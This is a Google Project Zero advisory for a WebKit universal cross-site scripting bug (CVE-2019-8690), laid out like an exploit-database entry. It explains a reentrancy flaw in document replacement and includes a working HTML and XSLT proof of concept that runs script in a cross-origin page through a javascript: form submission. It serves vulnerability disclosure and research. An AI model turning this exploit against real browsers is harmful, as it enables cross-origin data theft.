WebKit Universal Cross Site Scripting

2019.08.13
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79

WebKit: UXSS via XSLT and nested document replacements Related CVE Numbers: CVE-2019-8690Id-714702681. VULNERABILITY DETAILS https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66 ``` Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString, const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame) { Ref<Document> ownerDocument(sourceNode->document()); bool sourceIsDocument = (sourceNode == &ownerDocument.get()); String documentSource = sourceString; RefPtr<Document> result; if (sourceMIMEType == \"text/plain\") { result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL()); transformTextStringToXHTMLDocumentString(documentSource); } else result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL()); // Before parsing, we need to save & detach the old document and get the new document // in place. We have to do this only if we're rendering the result document. if (frame) { [...] frame->setDocument(result.copyRef()); } auto decoder = TextResourceDecoder::create(sourceMIMEType); decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader); result->setDecoder(WTFMove(decoder)); result->setContent(documentSource); ``` https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248 ``` void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this); if (m_documentIsBeingReplaced) // ***1*** return; m_documentIsBeingReplaced = true; [...] if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction(); // ***2*** m_doc = newDocument.copyRef(); ``` `setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via a nested frame's \"unload\" event handler. Therefore the `m_documentIsBeingReplaced` flag has been introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called, `newDocument` might already have a reference to a `Frame` object, and if the method returns early, that reference will never get cleared by subsequent navigations. It's not possible to trigger document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI load; however, an attacker can use an XSLT transformation for that. When the attacker has an extra document attached to a frame, they can navigate the frame to a cross-origin page and issue a form submission request to a 'javascript:' URI using the extra document to trigger UXSS. VERSION WebKit revision 245321. It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1). REPRODUCION CASE repro.html: ``` <body> <script> createFrame = doc => doc.body.appendChild(document.createElement('iframe')); pi = document.createProcessingInstruction('xml-stylesheet', 'type=\"text/xml\" href=\"stylesheet.xml\"'); cache_frame = createFrame(document); cache_frame.contentDocument.appendChild(pi); setTimeout(() => { victim_frame = createFrame(document); child_frame_1 = createFrame(victim_frame.contentDocument); child_frame_1.contentWindow.onunload = () => { victim_frame.src = 'javascript:\"\"'; try { victim_frame.contentDocument.appendChild(document.createElement('html')). appendChild(document.createElement('body')); } catch { } child_frame_2 = createFrame(victim_frame.contentDocument); child_frame_2.contentWindow.onunload = () => { doc = victim_frame.contentDocument; doc.write('foo'); doc.firstChild.remove(); doc.appendChild(pi); doc.appendChild(doc.createElement('root')); doc.close(); } } victim_frame.src = 'javascript:\"\"'; if (child_frame_1.xslt_script_run) { victim_frame.src = 'http://example.com/'; victim_frame.onload = () => { form = corrupted_doc.createElement('form'); form.action = 'javascript:alert(document.body.innerHTML)'; form.submit(); } } }, 2000); </script> </body> ``` stylesheet.xml: ``` <xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"> <xsl:template match=\"/\"> <html> <body> <script> <![CDATA[ document.body.lastChild.xslt_script_run = true; ]]> </script> <iframe src=\"javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();\"></iframe> </body> </html> </xsl:template> </xsl:stylesheet> ``` CREDIT INFORMATION Sergei Glazunov of Google Project Zero This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: glazunov@google.com


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